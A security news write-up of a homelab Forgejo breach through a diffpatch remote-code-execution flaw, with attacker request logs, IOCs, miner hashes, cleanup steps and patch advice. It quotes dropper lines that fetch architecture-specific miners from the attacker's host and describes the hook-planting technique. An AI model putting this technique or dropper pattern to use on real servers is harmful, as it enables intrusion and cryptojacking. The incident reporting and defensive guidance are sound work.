intel6 min read

My Homelab Got Hacked: The Forgejo RCE That Took 45 Minutes to Plan and Three Seconds to Pull Off

A homelabber narrates getting pwned by CVE-2026-60004 with receipts — the scanner timeline, the miner hashes, and a public POC repo the attacker clearly cloned.

High severity, 3 of 4. Patch at your next window. Real impact, real exposure.Exploited in the wildCVE-2026-60004
The short version

A first-person postmortem of CVE-2026-60004 in the wild: a scanner waited 45 minutes, then signed up and RCE'd an open-registration Forgejo in about three seconds, dropping arch-specific crypto-miners. The dropped hook was near-identical to a public GitHub POC — Nuclei template included.

We covered CVE-2026-60004 back in August when it landed on the KEV catalog — the advisory, the diffpatch endpoint, the git apply -3 --cached trick. That was the spec sheet. This is the field report: a homelabber whose Forgejo instance got popped, narrating the whole incident with raw log tables, diffs, and miner hashes. The postmortem is from August 10 — it's surfacing now because this CVE is still hot in KEV and the attack pattern hasn't changed since.

If you run Gitea or Forgejo, read this one all the way through. It's exactly what happens to the next person down the list if they don't patch.

The exploit, 30-second recap//

For anyone who missed our August post: an attacker with repo write access (or, with open registration on, literally any visitor) submits a crafted patch twice through Gitea's diffpatch endpoint. Git's three-way merge fallback plants a file at hooks/post-index-change in the bare clone — and Git runs that hook as the Gitea service user. RCE. CVSS 9.8. Patched in Gitea 1.27.1, Forgejo v15 LTS / v16.

The victim ran Forgejo pinned at v13 (EOL since January 2026) with open sign-ups still on. Two mistakes, and a miner that ran for about 24 hours before anyone noticed.

The timeline (from the attacker's own footprints)//

The victim runs Pangolin for request tracing and a logging gateway for flows. Filtering for the primary IOC of this CVE — repeated POST /api/v1/repos/USER/REPO/diffpatch calls — turned up one IP that hit it three times:

+-----------+---------------+------+--------------------------------------------------+ |timestamp |ip |method|path | +-----------+---------------+------+--------------------------------------------------+ |08:49:15 AM|107.172.180.205|POST |/api/v1/repos/testpoc26188/poc-78614/diffpatch | |08:49:05 AM|107.172.180.205|POST |/api/v1/repos/testpoc26188/poc-78614/diffpatch | |08:49:04 AM|107.172.180.205|POST |/api/v1/repos/testpoc26188/poc-78614/diffpatch | |08:49:04 AM|107.172.180.205|GET |/api/v1/repos/testpoc26188/poc-78614/branches/main| |08:49:03 AM|107.172.180.205|POST |/api/v1/user/repos | |08:49:02 AM|107.172.180.205|GET |/ | |08:49:02 AM|107.172.180.205|POST |/user/sign_up | |08:49:02 AM|107.172.180.205|GET |/user/sign_up | |08:04:20 AM|107.172.180.205|GET |/assets/img/favicon.svg | |08:04:08 AM|107.172.180.205|GET |/ | +-----------+---------------+------+--------------------------------------------------+

Read that bottom-up and it's almost elegant. At 8:04 AM, 107.172.180.205 — a VPN node in Rancho Cucamonga, California — tapped the instance (presumably to check its version), then went quiet for 45 minutes. Then, in about three seconds: sign-up page loaded, account created (testpoc26188), repo pushed (poc-78614, containing a README and a hooks/post-index-change shell script), first diffpatch fired. Two more triggers followed — one immediately, one ten seconds later.

That's not a human typing. That's a script, and the 45-minute pause smells like rate-limiting or a "wait for my other targets to finish" delay between scan and pwn.

Stage two: the miner dropper//

The planted hook did two things: ran id (proof of execution, stored in a Git object) and curled the second stage from 172.245.159.216, which sits on RackNerd infrastructure. The victim grabbed that payload before it went away: a heavily minified 6-liner (longest line: 1,063 characters) that shfmt expanded into 57 lines of grossness. What it does:

  1. Kills any process with "guard" in the name (antivirus, probably).
  2. Kills processes using more than 80% CPU and disables their systemd units — so your monitoring can't even see them dying.
  3. Picks a writable download location from /tmp, $HOME, or $PWD.
  4. Detects CPU architecture and fetches the matching binary:
[ "$__a" = "x86_64" ] && __u="http://172.245.159.216/1" [ "$__a" = "aarch64" ] && __u="http://172.245.159.216/2" [ "$__a" = "amd64" ] && __u="http://172.245.159.216/3"
  1. Downloads with an absurd fallback chain — curl, wget, Python urllib, Perl HTTP::Tiny, a raw Perl socket request, and finally a hand-rolled HTTP/1.0 GET. Someone has been burned by egress-filtered servers before.
  2. Executes the binary, then deletes it from disk once it's running in memory.

All three binaries are known crypto-miners per VirusTotal (26 of 61 vendors flagged the x86 build; 36 and 36 for aarch64/amd64). The published SHA-256s:

# x86_64 (3.2 MB) 0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480 # aarch64 (7.5 MB) 6a1f70ef89684037bb3d0536657f00a92fbbcdb9067195b060128a221df79df5 # amd64 (8.0 MB) ed23db197d907bdb6873c02b7222110321b0f859e329c420a6d0d6e50220308f

The victim's gateway logs show the outbound flow to the RackNerd IP starting about two minutes after the exploit fired, with transfer sizes that line up with the x86 payload. No wallet address in either shell script — it's presumably hard-coded into the binaries. And no reverse shell or lateral movement showed up anywhere: host OS clean, other containers clean, LAN clean. For a cryptojacking hit, this one behaved.

The attacker cloned homework//

Here's the part that should make every self-hoster nervous. The victim diffed the dropped hook against Gitea's own published POC — nearly identical, except for commit metadata and the added curl line. Then they found a public GitHub repo whose chosen tree and commit values matched the attacker's exactly (the ones that did not match Gitea's POC). The attacker didn't write this exploit from scratch. They cloned someone else's homework.

That repo ships with an accompanying Nuclei template that automates scanning, delivery, and execution — and its steps matched the victim's incoming Pangolin logs perfectly. The repo owner has roughly 600 repos, almost all POCs or scanner/exploit automation tools, on an account from early 2022. The victim withheld the username to avoid a witch hunt, but the lesson lands with or without it: a public POC repo + a Nuclei template = an automated sweep of every exposed instance on the internet.

How they caught it (and how they cleaned up)//

Detection was Komodo pushing alerts to their phone: the i5-10600K that idles around 4% had been sitting at a sustained ~50% for about 24 hours, spiking toward 95%. The Forgejo container made itself the obvious culprit. From there it was logs → hook contents → CVE → second-stage payload → hashes.

Cleanup:

  1. Rolled back to a pre-breach backup — daily 3-2-1 backups via Duplicacy, which is exactly why this was a weekend project instead of a data-loss story.
  2. Updated Forgejo v13 → v16.
  3. Disabled open sign-ups.
  4. Disabled local auth entirely — the instance now only logs in through their self-hosted identity provider (Pocket ID), so even a future password flaw can't get them in the front door.
  5. Next up: per-container egress restrictions, because a Git server does not need to talk to RackNerd on port 80.

The root causes are two lines long and both are yours to check tonight: open registration left on, and an image pinned at an EOL version with no latest tag for their update notifier to catch (Forgejo only ships versioned tags — the victim uses latest everywhere else specifically so Komodo can nag them nightly).

The IOCs worth grepping for right now//

# Attacker scanner / control IP (VPN node, Rancho Cucamonga CA) 107.172.180.205 # Second-stage dropper host (RackNerd infra) — watch outbound flows to it 172.245.159.216 # Miner SHA-256s (x86_64 / aarch64 / amd64) 0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480 6a1f70ef89684037bb3d0536657f00a92fbbcdb9067195b060128a221df79df5 ed23db197d907bdb6873c02b7222110321b0f859e329c420a6d0d6e50220308f # Account/repo naming pattern: testpoc + digits, repo poc- + digits

What to do tonight//

  1. If you run Gitea or Forgejo on an internet-facing port and you're not patched (Gitea ≥ 1.27.1, Forgejo v15 LTS/v16), assume compromise until proven otherwise — this attack is scripted and patient.
  2. Search your web-server logs for repeated POST .../diffpatch calls. Two or three from one IP in a few seconds is the fingerprint of this exploit.
  3. List users and repos on your Git instance. Anything matching testpoc* / poc-*, or any repo you don't recognize with a hooks/ folder, is a smoking gun.
  4. Check for unexpected outbound connections from the Git container — especially to small VPS ranges like RackNerd. A git server that's suddenly downloading 3–8 MB of shellcode has opinions about your electricity bill.
  5. If you find something: pause before you kill. The victim's one regret is destroying the infected container too fast to investigate it. docker stop preserves state; docker rm -f does not.
  6. Close open registration if you don't genuinely need strangers making accounts, and put an auth provider in front so local credentials aren't your only door.

Filed under

Sources

2 cited · 1 primary
  1. phunky.cafe/my-homelab-got-hackedReporting
  2. github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84mPrimary